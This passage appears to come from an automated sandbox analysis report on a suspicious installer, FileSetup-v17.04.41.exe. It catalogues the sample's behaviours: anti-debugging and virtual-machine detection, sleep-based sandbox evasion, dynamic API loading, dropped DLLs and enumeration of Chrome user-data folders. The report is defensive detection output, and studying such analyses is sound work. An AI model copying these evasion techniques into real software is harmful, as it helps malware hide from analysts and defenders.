Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_004560A0

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\msiexec.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_100204C0

4_2_100204C0

Uses ping.exe to sleep

Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Contains functionality to read device registry values (via SetupAPI)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

4_2_10019780

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file

May check if the current machine is a sandbox (GetTickCount - Sleep)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_100204C0

4_2_100204C0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe TID: 5276	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe TID: 5596	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe TID: 3544	Thread sleep time: -30000s >= -30000s			Jump to behavior

Queries disk information (often used to detect virtual machines)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File opened: PhysicalDrive0

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Checks the free space of harddrives

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004C2B17 __getdrive,FindFirstFileA,_strlen,_IsRootUNCName,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,___dtoxmode,GetLastError,FindClose,		1_2_004C2B17
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1001A170 FindFirstFileA,FindClose,		4_2_1001A170

Contains functionality to query local drives

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_0041E22C GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

1_2_0041E22C

Contains functionality to query system information

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_00412C23 GetCurrentProcess,GetModuleHandleW,GetModuleHandleW,GetProcAddress,_memset,GetVersionExW,GetModuleHandleW,GetProcAddress,GetSystemInfo,

1_2_00412C23

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: 6852B33702F6B3BD.exe, 00000004.00000003.304732625.0000000003CE5000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation CounterSystemACPI
Source: 6852B33702F6B3BD.exe, 00000004.00000003.259627838.0000000002241000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000003.262107276.00000000021E1000.00000004.00000001.sdmp	Binary or memory string: NetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: 6852B33702F6B3BD.exe, 00000004.00000003.286862593.0000000003CC3000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter}
Source: ecvAA35.tmp.11.dr	Binary or memory string: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20200930T150352Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9adc5de308f048a794c5e60e88191707&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=838177&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=838177&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=
Source: 6852B33702F6B3BD.exe, 00000004.00000003.286872651.0000000003CA1000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305023752.0000000003CBF000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000003.262107276.00000000021E1000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261158287.000000000081C000.00000004.00000020.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.289445112.0000000000865000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: 6852B33702F6B3BD.exe, 00000004.00000003.259727824.000000000226D000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.289558161.000000000220D000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: 6852B33702F6B3BD.exe, 00000004.00000003.287164919.0000000003CA7000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}
Source: 6852B33702F6B3BD.exe, 00000005.00000002.288732757.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware Virtual disk 2.0
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation CounterHB
Source: 6852B33702F6B3BD.exe, 00000005.00000002.288732757.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware
Source: 6852B33702F6B3BD.exe, 00000004.00000003.287164919.0000000003CA7000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}
Source: 6852B33702F6B3BD.exe, 00000004.00000003.287599977.0000000003CAD000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}*
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305115180.0000000003D14000.00000004.00000001.sdmp	Binary or memory string: {4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPIxu

Queries a list of all running processes

Source: C:\Users\user\AppData\Roaming\1611946678493.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_10019FF0 GetCurrentProcess,CheckRemoteDebuggerPresent,

4_2_10019FF0

Hides threads from debuggers

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugObjectHandle			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process queried: DebugFlags			Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_00490470 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_00490470

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_004560A0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00496048 mov eax, dword ptr fs:[00000030h]		1_2_00496048
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00496075 mov eax, dword ptr fs:[00000030h]		1_2_00496075
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0049602F mov eax, dword ptr fs:[00000030h]		1_2_0049602F
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019DE0 mov eax, dword ptr fs:[00000030h]		4_2_10019DE0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019E13 mov eax, dword ptr fs:[00000030h]		4_2_10019E13
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019E13 mov eax, dword ptr fs:[00000030h]		4_2_10019E13
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019E70 mov eax, dword ptr fs:[00000030h]		4_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019E70 mov eax, dword ptr fs:[00000030h]		4_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10019ED0 mov eax, dword ptr fs:[00000030h]		4_2_10019ED0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004AA130 CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__write_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

1_2_004AA130

Enables debug privileges

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00490470 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_00490470
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10015354 SetUnhandledExceptionFilter,__encode_pointer,		4_2_10015354
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10015376 __decode_pointer,SetUnhandledExceptionFilter,		4_2_10015376
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10018413 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,		4_2_10018413
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000E44D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_1000E44D
